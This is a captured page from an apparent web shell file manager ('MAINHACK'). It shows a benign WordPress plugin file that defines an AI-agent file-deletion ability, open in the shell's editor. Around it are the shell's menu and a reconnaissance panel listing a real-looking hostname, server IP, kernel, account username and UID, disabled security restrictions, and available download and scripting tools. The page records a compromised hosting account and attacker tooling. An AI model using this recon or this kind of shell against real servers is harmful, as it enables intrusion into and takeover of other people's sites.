[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: delete-file.php
<?php // SPDX-FileCopyrightText: 2026 Ovation S.r.l. <dev@novamira.ai> // SPDX-License-Identifier: AGPL-3.0-or-later declare(strict_types=1); /** * Ability: Delete files and directories. */ if (!defined('ABSPATH')) { exit(); } wp_register_ability('novamira/delete-file', [ 'label' => __('Delete File', domain: 'novamira'), 'description' => __( 'Deletes a file or directory from the server filesystem. Non-empty directories require the recursive flag. Critical WordPress directories (ABSPATH root, wp-admin, wp-includes) are protected from deletion. Idempotent: deleting a non-existent path succeeds with deleted=false.', domain: 'novamira', ), 'category' => 'filesystem', 'input_schema' => [ 'type' => 'object', 'properties' => [ 'path' => [ 'type' => 'string', 'description' => 'Path to the file or directory to delete. Relative paths are resolved from ABSPATH.', 'minLength' => 1, ], 'recursive' => [ 'type' => 'boolean', 'description' => 'Whether to recursively delete directory contents. Required for non-empty directories.', 'default' => false, ], ], 'required' => ['path'], 'additionalProperties' => false, ], 'output_schema' => [ 'type' => 'object', 'properties' => [ 'path' => ['type' => 'string', 'description' => 'Absolute path that was targeted.'], 'type' => [ 'type' => 'string', 'description' => 'Type of the target: "file", "directory", or "not_found".', ], 'deleted' => ['type' => 'boolean', 'description' => 'Whether anything was actually deleted.'], 'items_deleted' => ['type' => 'integer', 'description' => 'Number of files/directories deleted.'], ], ], 'execute_callback' => 'novamira_delete_file', 'permission_callback' => 'novamira_permission_callback', 'meta' => [ 'show_in_rest' => true, 'mcp' => ['public' => true], 'annotations' => [ 'instructions' => implode("\n", [ 'SANDBOX NOTES:', '- Files in wp-content/novamira-sandbox/ (the PHP sandbox) can be deleted.', '- To exit safe mode after a crash, delete: wp-content/novamira-sandbox/.crashed', ]), 'readonly' => false, 'destructive' => true, 'idempotent' => true, ], ], ]); /** * Delete a file or directory. * * @param array $input Input with 'path', optional 'recursive'. * @return array|WP_Error */ function novamira_delete_file($input) { $resolved = novamira_resolve_path((string) $input['path'], must_exist: false); if (is_wp_error($resolved)) { return $resolved; } $recursive = ($input['recursive'] ?? false) === true; // Idempotent: non-existent path is a no-op success. if (!file_exists($resolved) && !is_link($resolved)) { return [ 'path' => $resolved, 'type' => 'not_found', 'deleted' => false, 'items_deleted' => 0, ]; } // Protect critical WordPress directories. $real_resolved = realpath($resolved); $protected = array_filter([ realpath(ABSPATH), realpath(ABSPATH . 'wp-admin'), realpath(ABSPATH . 'wp-includes'), realpath(WP_CONTENT_DIR . '/mu-plugins'), ]); if (in_array($real_resolved, $protected, strict: true)) { return new WP_Error('protected_path', sprintf('Cannot delete protected WordPress directory: %s', $resolved)); } // Delete a file or symlink. if (is_file($resolved) || is_link($resolved)) { if (!unlink($resolved)) { return new WP_Error('delete_failed', sprintf('Failed to delete file: %s', $resolved)); } return [ 'path' => $resolved, 'type' => 'file', 'deleted' => true, 'items_deleted' => 1, ]; } // Delete a directory. if (is_dir($resolved)) { return novamira_delete_directory($resolved, $recursive); } return new WP_Error('unknown_type', sprintf('Path is not a file or directory: %s', $resolved)); } /** * Delete a directory, optionally recursively. * * @param string $resolved Absolute path to the directory. * @param bool $recursive Whether to delete contents recursively. * @return array|WP_Error */ function novamira_delete_directory($resolved, $recursive) { $contents = scandir($resolved); if ($contents === false) { return new WP_Error('scan_failed', sprintf('Could not read directory: %s', $resolved)); } $is_empty = count($contents) <= 2; if (!$is_empty && !$recursive) { return new WP_Error('directory_not_empty', sprintf( 'Directory is not empty. Set recursive=true to delete: %s', $resolved, )); } if ($is_empty) { if (!rmdir($resolved)) { return new WP_Error('delete_failed', sprintf('Failed to delete directory: %s', $resolved)); } return [ 'path' => $resolved, 'type' => 'directory', 'deleted' => true, 'items_deleted' => 1, ]; } // Recursive delete: remove contents depth-first, then the directory itself. $items_deleted = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($resolved, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST, ); foreach ($iterator as $item) { if (!$item instanceof SplFileInfo) { continue; } $item_path = $item->getPathname(); $deleted = $item->isDir() ? rmdir($item_path) : unlink($item_path); if (!$deleted) { return new WP_Error('delete_failed', sprintf('Failed to delete: %s', $item_path)); } $items_deleted++; } if (!rmdir($resolved)) { return new WP_Error('delete_failed', sprintf('Failed to delete directory: %s', $resolved)); } $items_deleted++; return [ 'path' => $resolved, 'type' => 'directory', 'deleted' => true, 'items_deleted' => $items_deleted, ]; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.68 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154